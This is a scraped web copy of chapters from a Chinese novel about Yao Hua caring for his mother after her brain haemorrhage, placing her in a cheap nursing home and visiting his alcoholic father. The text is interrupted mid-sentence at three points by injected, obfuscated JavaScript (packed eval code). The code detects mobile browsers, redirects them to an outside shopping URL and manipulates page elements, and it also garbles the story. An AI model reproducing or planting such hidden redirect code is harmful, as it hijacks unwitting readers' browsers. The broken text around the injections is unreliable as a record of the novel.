姚华正给母亲喂米糊。米糊是昨晚剩的，兑了热水，搅了搅。勺子悬在半空，他问：“前天不还说能再住两天？” 护士眼皮没抬：“新来了脑出血的，比你们重。你们这情况，该去康复医院了。”“该”字说得脆，像盖章。 张玉芬在病床上眨眨眼。姚华凑近，听见她说：“走……走吧。” 东西不多，一个行李袋，还是当年打工发的，印着“中亚数据”，字褪色了，边也开线了。姚华去借轮椅，护工站的阿姨从一堆里扒拉，扒拉出一辆，轮子有点歪。她说：“就这个了，好的都出去了。”又说：“这层楼，好的东西都留不住。” 姚华试了试，能走，咯吱咯吱响，像人叹气。他把母亲抱上轮椅，张玉芬轻得像一捆晒透的秸秆。头歪在他肩上，口水流下来，湿了一片汗衫。汗衫是地摊买的，十块钱三件。 “妈，咱走了。” 从环湖医院到康复医院，三条街。不远，但推着歪轮子的轮椅，姚华觉得像推一座山。早晨的太阳刚冒头，照脸上暖，风吹过来却是割的。第一条街是菜市场，摊子刚摆出来，青菜洒了水，鲜亮。卖豆腐的大妈喊：“豆腐脑！热乎的！”嗓子敞亮，能劈开风。 姚华推着轮椅过，张玉芬头歪着，眼盯着豆腐脑。嘴唇动了动，没声，姚华看懂了。他停下，问：“想吃？”张玉芬眨眨眼。 一碗豆腐脑，两块五。大妈舀得满，白花花的，浇了褐色的卤，撒了香菜末。姚华蹲下，一勺一勺喂。张玉芬吃得慢，一勺要含半天。卤汁从嘴角流出来，姚华用袖子擦——袖子本来就是脏的。 大妈问：“你妈这是……”姚华说：“脑出血。”大妈“哎哟”一声，摇摇头，不说话了。那声“哎哟”里，有可怜，也有庆幸，庆幸不是自己。 吃完继续走。第二条街是学校街，路边小饭馆冒热气。学生背书包，打打闹闹。有个男孩蹲地上哭，一边哭一边喊：“我不上学！就不上！”他妈妈拽他胳膊：“不上学干啥？捡破烂？”男孩喊：“捡破烂就捡破烂！”“捡破烂也得认字！不认字破烂都捡不着！” 姚华推轮椅经过。张玉芬的眼跟着那对母子转，转到头了，还转，像生锈的门轴，吱呀吱呀，转不回原位。 第三条街安静，两边老小区，槐树叶子黄透了，风一吹，哗啦啦掉，铺一地。几个老头在树下下棋，为一步棋吵。 “你这马别腿了！” “谁别腿了？你眼瘸？” “你才眼瘸！” 轮椅咯吱咯吱响过去，老头们抬了下头，又低下去。他们的争吵比姚华的脚步响。 康复医院是栋五层楼，外墙瓷砖掉了一半，露出的水泥面黑乎乎的，像补丁。门口排着队，都是推轮椅的、扶拐杖的。有个老太太坐轮椅上哭，哭得声哑：“我不进去！死也不进去！”她儿子蹲旁边，声更低：“妈，进去才能好。”“好个屁！进去就出不来了！” 姚华推母亲排最后。前面七八个人，都和他一样，脸上没什么表情，只是累。 排了半个多钟头，轮到。窗口里坐个胖女人，眼盯电脑屏，问：“叫什么？”“张玉芬。”“年龄？”“五十八。”“什么病？”“脑出血，术后。”胖女人敲键盘，敲得啪啪响，像放小鞭炮。她说：“床位紧张，先住走廊加床。” 姚华愣了：“走廊？这天冷……” 胖女人抬头，看他一眼：“爱住不住。后面还有人。” 姚华咬了咬牙：“住。” 手续办完，推母亲进病房楼。一进去，姚华就懵了——走廊里摆满了床，一张挨一张，像火车硬卧，还是慢车那种。床上都躺着人，有的输液，有的吸氧，有的就那么躺着，眼瞪着天花板，天花板上有灰网，一缕一缕挂着。 护士带他们到一张床前，床在走廊尽头，靠窗户。窗户关不严，漏风，用报纸塞着，报纸泛黄。护士说：“就这儿。每天床位费八十，比病房便宜四十。” 姚华把母亲抱上床。床垫薄，能感到下面木板条，一根一根，硌人。张玉芬躺下，眼看天花板，天花板上的霉斑像他们老家的地图——盐坨村就在地图边上，一个小霉点。 隔壁床是个老爷子，看起来八十多了。他女儿正给他喂饭，不是用勺，是用针管，把糊糊吸进去，再慢慢推进胃管。老爷子不张嘴，女儿就捏他鼻子，等他张嘴了，赶紧打一针管进去。 “爸，您得吃啊。”女儿说。 老爷子摇头，含含糊糊说：“死……让我死……” “又说这个！”女儿哭了，“您死了我咋办？” “你……轻松……” “轻松个屁！”女儿哭得更凶，眼泪掉进糊糊里，“您死了我也得活着，活着就得挣钱，挣钱还房贷……一个月三千八，还得供孩子……” 老爷子不说话了，闭上眼睛。 姚华看得心里发紧。他拿出带来的米糊，也开始喂母亲。张玉芬吃得比老爷子乖，一口一口，虽然慢，但张嘴。喂到一半，隔壁床女儿凑过来，眼还红着：“你们新来的？” “嗯。” “什么病？” “脑出血。” “哦……”她点点头，“我爸是脑梗，三年了。前两年还能走，今年不行了，躺床上了。”她说得像说“今天白菜三毛一斤”。 姚华不知该说什么。 “慢慢熬吧。”她说，“这地方，进来就别想好好出去。”顿了顿，又说：“能出去，也是横着出去。” 第一天晚上，姚华睡走廊塑料椅上。椅子硬，硌得骨头疼。他睡不着，看走廊里的灯。灯是长明灯，白惨惨的，照得所有人的脸都像褪了色的照片。夜里两点，隔壁老爷子突然哭起来，不是大哭，是从喉咙深处挤出来的呜咽，像受伤的狗，又像漏风的窗户。 他女儿醒了，爬起来给他翻身。翻身的时候，老爷子喊：“疼！疼！” “疼也得翻。”女儿说，“不翻长褥疮，更疼。” 翻完身，老爷子不哭了，开始咳嗽。咳得撕心裂肺，咳得整个走廊都听得见。护士来了，看一眼，说：“没事，痰多，正常。”说完就走，脚步声在空走廊里响。 姚华躺椅子上，睁眼到天亮。天蒙蒙亮时，他做了个梦。梦见盐坨桥，桥下水浑黄，岸边堆着盐坨，白花花一片。母亲还年轻，在河边洗衣服，棒槌敲得啪啪响。他在桥上跑，跑着跑着，桥塌了，他掉下去，掉进水里，水是咸的，像眼泪。 第二天，他开始学东西。学注射流食——把营养粉调成糊，装进针管，慢慢推进胃管。第一次做，手抖，推快了，张玉芬呛了一下，脸憋得通红。护士骂他：“慢点！想呛死你妈？”姚华不敢回嘴，低头重新 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119424|195947||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 做。营养粉是便宜的那种，结块，得使劲搅。 学处理褥疮——张玉芬尾骨那里红了一片。护士教他用软枕垫，教他涂药膏。药膏是医院自制的，白色的，涂上去凉凉的，像涂了一层薄霜。“两小时翻一次身。”护士说，“夜里也得翻。”“夜里……我睡着了怎么办？”“定闹钟。要不就雇护工，护工夜里加一百。”姚华没说话。他定闹钟，两小时一次。闹钟是旧手机，屏裂了，但还能响。 第三天，他学会了怎么换尿不湿。怎么把成人纸尿裤展开，怎么托起母亲的腰，怎么垫进去，怎么贴好胶条。第一次做，做了二十分钟，做完一身汗，汗是凉的。隔壁床的女儿看着，说：“熟练了就好了。我第一次给我爸换，换了半个钟头，还弄了一床。”她说这话时在笑，笑里有一种认命的东西，像盐坨村的土，怎么浇都长不出好庄稼。 第四天，姚华开始跟走廊里其他家属聊天。有个大姐，丈夫脑瘤，手术后瘫了，在这儿住了半年。 “半年？”姚华问，“一直住走廊？” “哪能啊。”大姐说，“住了一个月走廊，才排进病房。病房里也是三人间，挤得很。” “那……能好吗？” 大姐看他一眼，那眼神姚华后来记了很久——像看一个不懂事的孩子，又像看从前的自己。“好？能活着就不错了。像我们这种，能自己喘气，能喂进去饭，就算好了。” 第五天，张玉芬突然说话了。那天姚华在喂米糊，喂得很慢，一勺一勺。喂到第五勺时，张玉芬看着他，很清晰地说： “拖累你了。” 姚华手一抖，勺子掉地上。米糊洒床单上，白花花一片，慢慢晕开，像一朵苍白的、正枯萎的花。他捡起勺子，手在抖，抖得拿不住，又掉了。他想说“不拖累”，想说“应该的”，想说“您别这么说”。但话卡在喉咙里，像鱼刺，咽不下去，吐不出来。 最后他说：“您吃吧，凉了。” 张玉芬看着他，眼里有水光。但她没哭，只是眨了眨眼，把眼泪眨回去。那动作让姚华想起盐坨村的夏天，母亲在院子里晒被子，拍打灰尘，灰尘在阳光里飞，她眨眨眼，继续拍。 那天晚上，姚华坐塑料椅上，看窗外月亮。月亮很圆，很亮，亮得不像话。月光照进走廊，照在那些床上，照在那些睡着的人脸上。他想，这些人，这些躺在走廊里、病房里、医院里各个角落的人，他们都曾是谁的儿子、女儿、父亲、母亲。他们都曾有自己的生活，自己的念想，自己的悲欢离合。现在他们都躺在这里，等着好起来，或者等着死。而他们的家属，像他一样，坐在这里，陪着，熬着，等着。 等着下一个天亮，等着下一次喂饭，等着下一次翻身，等着下一次医生说“有好转”或者“不乐观”。 等着，就是全部。 走廊那头，隔壁老爷子又开始哭了。这次哭得小声，像猫叫，又像风吹过盐坨桥下的芦苇。 他女儿爬起来，给他翻身。翻身的动作很熟练，一托，一转，一垫。做完，她坐床沿上，看父亲，看了很久。然后她低下头，肩膀开始抖。没有声音，只是抖，抖得像秋天树上的最后一片叶子。 姚华移开目光，看窗外。月亮还在那儿，亮堂堂的，照着这个满是哭声和叹息的夜晚。他突然想，月亮看这些人看了多少年了？看了多少生老病死，看了多少悲欢离合？它会不会也看累了？ 不知道。 18. 第十八章 福寸康宁 几个月后，张玉芬从康复医院出来了。病前她和姚华咬牙贷款买的限价房，如今还是个图纸上的影儿。姚华得挣钱还贷，一天假都不敢请，实在没法子，只得给母亲寻了个养老院。 院名叫“福寿康宁”。四个金字镶在粉墙上，太阳一照，晃得人眼晕。姚华在门口立了半晌，瞧见“寿”字缺了一撇，成了“寸”，也没人补。风一吹，剩下的半拉金箔颤巍巍的，随时要掉下来的样子。 他推着轮椅，轮子有点歪，在水泥地上磨出滋啦滋啦的响声，像钝刀子割麻袋。张玉芬歪在轮椅上，半眯着眼，对这声音早已习惯——就跟习惯医院的消毒水味儿、走廊里此起彼伏的叹气声一样。 院长姓王，中年女人，一头卷发烫得密匝匝的，每颗卷儿都像算盘珠子。她穿着深蓝色化纤套装，一动就窸窣响。工牌别在胸前，照片里的她年轻些，笑得规规矩矩。此刻她没笑，说话快得像撒豆子：“每月三千四，包床位、三餐、基础护理。洗澡每周二、四，洗衣每周三。” 她说话时眼没看姚华，先瞥轮椅，再瞥轮椅上的张玉芬，最后才扫到姚华的袖口。姚华身上那件夹克穿了五年，拉链坏了一半，只能拉到胸口。右边袖口磨破了，白线头露出来，沾了灰，黑黢黢的。他下意识把手往后缩，这一缩反倒更扎眼了。 “押金五千。”王院长接着说，“当月费用提前交。一号到五号缴费，超了收滞纳金，每天千分之五。”她顿了顿，让数字在空气里沉一沉，“探视下午两点到五点，其他时间不进。特殊情况得申请。” 姚华跟着她往里走。走廊长得望不到头，两边房门敞着。有的屋里传出电视声，老剧的对白夹着罐装笑声；有的是咳嗽声，干涩带痰，一声接一声，像永远咳不干净；还有种说不清的动静——像叹息，又像呻吟，更似无意识的呜咽，从喉咙深处挤出来，连自己都未必察觉。 空气里有味道。消毒水打底，盖不住尿臊气，尿臊里又混着老人味儿——像旧书柜、陈年药材、返潮的棉絮。几种气味搅和在一起，成了养老院独有的气息。 “三人间，靠窗那张床刚空出来。”王院长高跟鞋敲着地砖，哒、哒、哒，一步一响。她背影挺得直，可姚华瞧见她裤腿后面起了毛球，密密层层的。“上个月走的，脑梗。七十六，在这儿住了三年。”她说得平常，像说“这屋上个月退租了”。“床单被罩都换新的了，放心。” 她说“放心”时，回头瞅了姚华一眼。那眼神姚华熟——在医院、康复中心、每一个要掏钱的地方，他都见过。那眼神在说：我知你不易，但规矩就是规矩。 房间在三楼尽里头。门牌307。推开门，先撞进来一束光——下午的光从窗户斜进来，照在水泥地上，地上水渍未干，拖把拖过的痕迹一道一道的。 三张铁架子床，漆成白色，如今泛了黄，像老旧的牙。靠窗那张空着，铺着蓝白格床单，确是新的，但布料薄，透出底下垫子的纹路。 左边床上躺着个老太太，瘦得像一把枯柴，被子盖着，几乎看不出起伏。她睁着眼，直勾勾盯着天花板。天花板上裂了道缝，像地图上的河。她一动不动，只有眼皮偶尔眨一下，证明还活着。 右边床上坐着位，头发梳得溜光，在脑后挽了个髻，罩着黑网兜。她正对着一面小圆镜抹雪花膏，镜背的牡丹花磨得差不多了。她抹得仔细，一寸一寸，从额头抹到下巴。 “李姨，来新人了。”王院长喊了一嗓子。 抹雪花膏的老太太转过头。脸煞白，不是健康的白，是常年不见太阳那种，白里透青。她上下打量张玉芬，又打量姚华，目光像把尺，量着他们的家底。 “哟，这是咋了？”她问，声音尖细，像指甲刮玻璃。 “脑出血，术后恢复期。”王院长说，“以后你们就是室友了，互相照应着点。”这话她说得顺溜，像背台词。 张玉芬歪在轮椅上，口水又流下来，滴在胸前的围兜上。围兜是姚华用旧毛巾改的，边角都毛了。姚华赶忙拿纸巾擦，纸巾是最便宜的那种，薄，一擦就破，纸屑沾在围兜上。 李姨看着，没说话，转回去继续抹雪花膏。抹完，她把镜子收进抽屉，抽屉吱呀一声——里面塞满了药瓶、梳子、半块肥皂、几根皮筋。 王院长开始念细则，一条一条，像念律法。姚华听着，心里却在算账：三千四一个月，一年四万零八百。工资扣完社保公积金，到手五千二。房贷每月两千四，那是十年前买的房子，四十六平，老小区六楼，没电梯。还完房贷剩两千八。两千八减去三千四，倒贴六百。 这六百，像心口一道裂璺，越裂越深。 “那个……”他打断王院长，声音有点虚，“能……按月交不？” 王院长看他一眼，眼里有什么闪了闪，像计算器归零前那一下。“一般都季付，交三个月。不过你家情况特殊，”她顿了顿，“可以月付。但得一号准时交，不能拖。拖一天，滞纳金十七块。” “肯定不拖。”姚华说，说得飞快，像怕自己后悔。 手续办了一个多钟头。签了七八张纸，每张都要签名、按手印。合同纸薄，背面的字透过来。红印泥质量差，粘糊糊的，塑料盒边结了痂。姚华按手印时用力猛了，红泥渗进指纹里，擦不掉，像血。 最后交钱，姚华从背包里掏出一个牛皮纸信封。信封磨得发毛，四角卷边，正面印着“环湖医院”——上次出院装病历用的，他舍不得扔。 他数出三千四百块，百元钞新旧不一。三张挺括，刚从取款机出来的；别的皱如咸菜，不知在口袋里揣了多久。他数得慢，一张一张，数到第三遍，王院长伸手接了过去。 “我自己数。”她说。 她用拇指食指捏着钞票，一张张捻开，捻一张，蘸一下唾沫。办公室里静，只有钞票沙沙响和她蘸唾沫时轻轻的咂嘴声。数完一遍，又数一遍。 “对了。”她把钱放进抽屉，抽屉上锁，钥匙串在腰带上，叮当响。“钥匙押金一百，退院时还。钥匙丢了，押金不退，还得赔五十。” 姚华又掏出一百。这张更旧，中间一道折痕，快断了。王院长接过去，对着光看看水印，才收下。 办完，已是下午三点多。姚华推母亲回房间，抱她上床。床硬，垫子薄，手一按，能摸到底下的木板条，一根一根，间距宽。张玉芬躺下，头陷进枕头里，枕头填充物不均，一边高一边低。 她望着窗外。窗外有棵槐树，叶子掉光了，枝杈光秃秃的，像老人的手骨。树枝上挂了个白塑料袋，被风吹得鼓了又瘪，瘪了又鼓。 “妈，我每周三、周六来看您。”姚华低声说，“周三请半天假，周六全天。” 张玉芬眨眨眼。右眼皮眨得慢，左眼皮几乎不动，是后遗症。 “有事就叫护士。床头有呼叫器，红色按钮。”姚华指了指墙上按钮，按钮周围一圈黑，是无数只手按出来的油污。 张玉芬又眨眨眼。 旁边床的李姨忽然开口——她不知何时已躺下，侧身看着他们。“小伙子，你妈能说话不？” “能说，但慢。”姚华说，“得一个字一个字挤。” “哦。”李姨凑近些，两张床相距不到一米。她细瞧张玉芬的脸，像瞧一件物件。“可怜见的。我姓李，七十六了。那个是赵姨，”她指指左边床上一动不动那位，“八十三，老年痴呆，不认人。你跟她说话，她也不理你。” 姚华点头：“李姨，麻烦您多照应。” “照应啥呀。”李姨笑了，露出镶金的门牙，金牙已发黑，像锈了。“都是等死的人，互相做个伴呗。”她说得轻巧，像说“今天吃米饭”，说完翻身背对他们。 姚华又待了会儿，给母亲喂水。水是白开水，装在塑料杯里。他托起母亲的头，一点一点喂。张玉芬吞咽困难，喉结动一下，要停好几秒。喂完水，又给她擦脸，用自己的毛巾，毛巾已硬了，洗得发白。 要走时，张玉芬突然抓住他的手。手没力气，但抓得紧，手指蜷着，指甲长了，姚华还没顾上剪。 “上……班。”她一个字一个字往外挤，“别……耽误。” “嗯，不耽误。”姚华声音有点哽。 张玉芬松手，闭眼。眼皮颤着，像蝴蝶翅膀，停不下来。 走出房间，姚华在走廊站了会儿。走廊那头有老人在唱戏，跑调跑得厉害，但起劲。是评剧，《秦香莲》选段。 “秦香莲我三十二岁夫啊……抛妻子弃儿女你你你心何安……” 声苍老，嘶哑，像破风箱，每唱一字喘一下。唱到高音突然断了，变成一阵咳，咳完又接上。 走廊墙裙刷绿漆，漆已剥落，露出灰泥。墙上贴着宣传画，画上老人笑容满面，围坐做手工。画褪了色，笑容模糊了，像蒙了层雾。 姚华慢慢往外走。楼梯是水泥的，没贴砖，台阶边沿被磨得圆滑。下楼时，碰见护工推餐车上楼，餐车上摆着不锈钢饭盆，盆里是糊状物，灰扑扑的，辨不出是什么。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119425|195947||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 护工是中年女人，圆脸红扑扑的，擦肩时瞥他一眼，眼神里是司空见惯的麻木。 出养老院大门，日头已偏西。姚华站在门口，回头望了一眼。“福寿康宁”四字在夕阳下反光，那个掉了撇的“寿”字，在阴影里越发像“寸”了。 福寸康宁。 他笑了笑，笑得很苦，嘴角刚提起便落下。 是啊，福只有一寸长。康宁，也许只是瞧着康宁。 但总比没有强。 他转身往公交站走。夹克拉链坏了，风灌进来，冷飕飕的。他缩缩脖子，手插进口袋。口袋里有把零钱，是这个月剩下的。他摸了摸，能辨出硬币形状，一元、五角，还有几张皱纸币。 等车时，他算了算时间：今天周三，下午请假扣半天工资，约一百二。周六再来，不扣钱。但来回公交四块，给母亲买点水果，至少十块。这一趟，一百三十四块没了。 公交车来了，是旧空调车，上车两块。他投币，往后走。车里人不多，他找了个靠窗位坐下。窗玻璃脏，外头景色模糊。他望着窗外，什么也没看进去。 脑子里全是数字。三千四，两千四，五百二，六百。这些数字像磨盘，在脑子里转啊转，转得人头晕。 手机震了下，银行短信：房贷扣款成功，余额三百二十七块六毛二。他盯着那数字看了很久，直到屏幕暗下去。 车到站，他下车，往家走。家在六楼，没电梯。他爬楼梯，一阶，两阶，三阶……爬到三楼，停脚喘气。不是累，是心里堵得慌。 开门，屋里暗。他没开灯，径直走到沙发边坐下。一坐下就想起这屋子曾有人上吊的事儿，也不知自己往后会不会步那后尘。 晚上，他煮了面。一把挂面，几片青菜，打了一个鸡蛋。鸡蛋是超市特价的，十块钱三十个，蛋壳薄，一磕就破。他吃着面，没滋味，但还是吃完了。吃饭是为了活着，活着是为了挣钱，挣钱是为了交养老院的钱。 这逻辑清楚，像一条直路，路上没风景，只有尽头。 吃完洗碗，他坐在沙发上发呆。屋里静，能听见楼上冲马桶、隔壁电视响。这些声音提醒他，这楼里住满了人，各有各的难。 他想母亲，想她躺在养老院床上的样子，想她歪着的头、流着的口水、用左手写的歪扭字。 “怕……忘了。” 母亲说这话时，眼里有恐惧。那恐惧姚华懂——不是怕死，是怕忘了自己是谁，忘了儿子是谁，忘了这一生怎么过的。 他起身，走到书架前。架上没几本书，多是工具书，还有几本旧杂志。最下层放着一个铁盒，盒上印着喜鹊登梅，漆已斑驳。 他打开盒子，里头是旧物：几张照片，几封信，一本笔记本。照片是黑白的，已发黄。有一张是母亲年轻时，站在盐坨桥边，身后是白花花的盐山。她扎两条辫子，笑得灿烂，牙很白。 盐坨村。姚华很久没回去了。 姚华考上大学那年终于离开盐坨村，母亲把攒了半辈子的钱拿出来，包在红手绢里，手绢洗得发白。她数了三遍，八千六百块。 “够不？”她问。 姚华点头：“够了，还有助学贷款。” 母亲松口气，把手绢包塞进他手里。“好好学，别像妈一样。” 他没像母亲一样在中学门口卖卷子为生。他学了计算机，进了城，找了工作，前阵子刚贷款买了个限价房。他以为这叫出息，叫让母亲享福。 如今母亲躺在养老院床上，一月三千四。 他拿出那张照片，看了很久。照片上的母亲那么年轻，那么有活气，眼里有光。现在的母亲，眼浑了，光没了。 他把照片放回盒子，盖上盖。铁盒轻，拿在手里却沉甸甸的。 睡前，他定了闹钟。明早七点起，八点上班。上班不能迟到，迟到扣五十。五十块，够母亲在养老院吃两天饭。 躺床上，他睡不着。天花板上有道裂缝，和养老院天花板上那道很像。他看着裂缝，想起李姨那句话： “都是等死的人，互相做个伴呗。” 说得那么坦然，那么认命。好像等死是件再自然不过的事，像等公交，等下雨，等天亮。 他翻个身，脸埋进枕头。枕头有股味儿，是洗不掉的汗味，混着廉价洗发水的香。 迷迷糊糊中，他做了个梦。梦见盐坨村。母亲在村路上走，走得很慢，背影佝偻。他喊：“妈！”母亲回头，脸上却没有五官，只剩一片空白。 19. 第十九章 屎山代码 电话是老刘从盐坨村小卖部打来的。深秋，姚华正在公司调试一段“屎山代码”——程序员都懂，就是那种改一行错十行、谁碰谁骂娘的陈年玩意。这代码堆在那里，像极了某些日子，拆不得，修不好，只能凑合着过。 手机震动时，光标正卡在一行报错的函数上。 “姚华不？我老刘。你爹让喊你一趟，说暖气不热了。” 姚华心里一沉。电话那头哗啦啦的，像是在打麻将。 “冻得直哆嗦，”老刘补了一句，“裹着被子还抖呢。” 姚华盯着屏幕，那行错误红得扎眼，像生活冷不丁跳出来的提示框。他起身去敲戴经理的门。 “进。” 戴经理没抬头，在看报表。 “请半天假，家里有事。” “这月第几回了？”眼镜滑到鼻尖。 “第三回。” “事假扣钱啊。” “知道。” “去吧。”戴经理摆摆手，“明天活儿可不少。” 关门时听见里头嘀咕：“三十好几了，家里事儿还没断档。” 姚华没接话。门轻轻合上，里头外头，两样世界。 得倒两趟公交。头一趟挤，脸贴玻璃，看见自己鬓角钻出几根白的。忽然想起父亲下岗那年——那时觉得父亲窝囊，现在懂了，窝囊这玩意儿，也遗传。 第二趟车空些。望海楼、中山路、二中……高楼渐次矮下去，矮成平房，平房又褪成荒地。盐坨村像是城市嚼剩的渣，黏在城乡结合部，吐也吐不干净。 小卖部的可口可乐招牌褪成了粉白色。老刘在门口下棋，抬抬下巴：“赶紧去吧，屋里冰窖似的。” 土路雨后没干透，踩上去吧唧吧唧响。两边屋顶塌了角的，拿塑料布蒙着。有户人家还在生炉子，老太太蹲着扇风，烟熏得她直咳嗽。 姚建国的红砖房在尽里头。砖缝的水泥脱落了，露出一个个黑窟窿。窗玻璃碎了一块，拿报纸糊着。铁门锈得厉害，一推吱呀呀响，像老人松动的关节。 屋里比外头还冷。寒气裹着霉味、酒气、老人气，混成一股说不清的味儿。姚华在门口站了会儿，等眼睛适应昏暗。 父亲裹着那床牡丹花棉被坐在床上，被面脏得花色都模糊了。 “爸。” 姚建国转头转得慢：“来了啊。” “暖气哪儿坏了？” “不知道。” 姚华伸手摸了摸暖气片，冰手。接口处渗着水，地上积了一小滩。 “漏了。” “哦，那修修吧。”父亲说。 翻通讯录才发现，根本没存修暖气师傅的号。打给老刘，老刘说村口老张家的儿子会弄。十分钟后，三轮车突突来了。 师傅一进屋就皱鼻子：“这味儿。” 检查完了说：“管道老化了，得换一截。三百。” “三百？”姚建国先开口，“忒贵了。” “嫌贵您自己修。”师傅敲敲管道，“这儿窄巴，不好下手。” 姚华咬咬牙：“修吧。” 叮叮当当的响动里，姚华打量这间十五平米的屋：一张床，一张桌，一把椅。桌上堆着空碗、半瓶酱油、开封的咸菜袋。地上齐刷刷摆着七个二锅头空瓶，像列队的兵。 墙角的煤炉是冷的，蜂窝煤潮得掉渣。 师傅边干活边念叨：“老爷子，得通通风，霉气了。” 姚建国望着窗外，不说话。 “酒也少喝，越喝身上越寒。” 还是没应声。 姚华想起银行家属楼的冬天。那时暖气也坏过，母亲自己找人修，手都冻僵了。父亲晚上喝多了，一脚踹在暖气片上——又漏了。他那时小学三年级，缩在被窝里听吵架，听水滴声：嗒，嗒，嗒。 “来，搭把手。”师傅喊他。 姚华扶住管子，冰得手发麻。他没松。 约莫一个钟头，活儿干完了。暖气片慢慢热起来，散出一股铁锈味儿。 “三百。”师傅说。 “有钱还你。”父亲对姚华说。 姚华想说不用，话卡在喉咙里。他望着父亲——皱纹深得像用刀刻的，头发稀白，像秋后的草。眼睛浑浊，没光，像两口枯井。 “吃饭了没？” “吃了。” “吃的啥？” “面条。” 姚华瞥了眼桌上的咸菜，没再问。转身去小卖部买了新被褥、米面油、还有熟食。老刘一边装袋一边说：“你爸上个月差点把房点了，暖气不行他就生炉子，火星子蹦被子上，烧了个窟窿。” 姚华没接话，数钱。 回屋换被褥。旧被子一掀，一股馊味冲上来。被里子硬得跟板儿似的。 “多久没晒了？” “忘了。” 新被子铺平，四个角抻舒展。炸花生米还脆着。 “吃点。” “贵吧？” “特价的。” “特价的不新鲜。” “新鲜的。” 姚建国捏起几粒花生米，慢慢嚼。牙不行了，嚼得像老牛反刍。 姚华坐在椅子上看父亲吃。暖气热了，玻璃上蒙了一层水汽。天暗下来了。 “你妈……”姚建国突然开口，说了两个字，停了。 姚华等着。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119426|195947||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “你妈……”他又说，还是没后半句。低下头盯着花生米，看了好半天，塞进嘴里继续嚼。 母亲生病、住院、住进养老院，父亲从没问过。现在问了，却问不成句。 “妈挺好，在养老院，有人照应。” “哦。” “一个月三千四。” “哦。” “我每周去看两回。” “哦。” 三个“哦”，像三块小石头扔进枯井里，没个回声。 姚华站起身：“我走了，明天还上班。” “走吧。” 手放在门把上，铁锈的凉透进骨头里。回头，父亲裹着新被子坐着，背影小得像个孩子。 “爸。” “嗯？” “少喝点。” 姚建国没回头，只摆了摆手。 门哐当一声关上，像什么东西断了。 姚华在门外站了会儿，没挪步。村里没路灯，零星窗户透出点光。远处狗叫了两声，又停了。 他点了一支烟。烟头在黑暗里一亮一灭。 想起唯一一次，父亲清醒着带他去北宁公园。公交票四毛，冰棍五分。冰棍化了滴在手上，父亲拿袖子给他擦。 那天父亲说了什么？记不清了。只记得湖面上金光闪闪的，像撒了一把碎玻璃。 后来父亲下岗了，喝酒，砸电视。搬来盐坨村，上了盐坨村小学，人生就这么拐了弯。 如果没搬过家，如果还住在“银行里”家属楼，如果上了星星小学……如果。 可生活里头，哪有如果，只有结果。 现在的结果是：母亲在养老院，父亲在盐坨村，自己在还房贷。三个人，三个地方，三条怎么也交不上的平行线。 烟抽完了。踩灭烟蒂，土路还是吧唧吧唧响。路过那户生炉子的人家，炉子还冒着烟，老太太已经进屋了，窗户里传出新闻联播的开头曲。 在村口等末班车，得等半小时。 站牌下望着远处的城市。高楼灯火一片，像星河，亮堂堂的，好看，也远。 远得够不着。 像父亲没问完的“你妈……”，像母亲歪歪扭扭的字，像自己调不通的屎山代码——总是差那么一点儿。 差一点儿问完，差一点儿写正，差一点儿调通。 就这么一点儿，便是一辈子。 车来了。投币，上车。只有他一个乘客。司机放着歌：“曾经年少爱追梦，一心只想往前飞……” 坐最后一排，靠窗。玻璃上映出张模糊变形的脸。 有点像父亲年轻时的样子。 他闭上眼，不看了。 20. 第二十章 酒精脑 姚建国犯病，是在一个星期三的早晨。照例去村口老刘那儿打散装酒。老刘递过酒提子，姚建国的手却像风里的树叶，抖得对不准瓶口，酒洒了一地。老刘瞅着那手，说：“老姚，您这手……”姚建国舌头在嘴里滚了半天，含糊道：“天冷，哆嗦。” 钱是掏不出来了。手指头仿佛不是自家的，伸进兜里，只摸出一团混沌。最后还是老刘从他兜底抠出张皱巴巴的五块钱——那钱皱得，像是已经在兜里住了三五年。 回家的路，二百米，他走了十分钟。左腿在身后拖着，像捆了半袋水泥。路上碰见捡破烂的老孙头，老孙头喊：“建国，又打酒去啦？”姚建国张了张嘴，只发出“啊……啊……”的声响，一道口水顺着嘴角流下来，他用手背去抹，抹了半袖子。 老孙头觉得不对劲，跟到了他家门口。正看见姚建国在摸钥匙，摸来摸去摸不着，钥匙“当啷”掉在地上。他弯下腰去捡，整个人就像一口倒空的麻袋，直挺挺栽了下去。 姚华接到电话时，正在会议室里听戴经理讲下季度指标。电话响了三遍，前两遍都打错了，打到卖保险的那儿。卖保险的倒耐心，说：“先生，您父亲这个情况，我们有一款产品……”姚华说：“打错了。”那边还说：“不考虑一下吗？意外险现在有活动……”姚华把电话挂了。第三遍，老孙头在那头喊：“你爸摔了，快来！”声音像是从一口破锣里敲出来的。 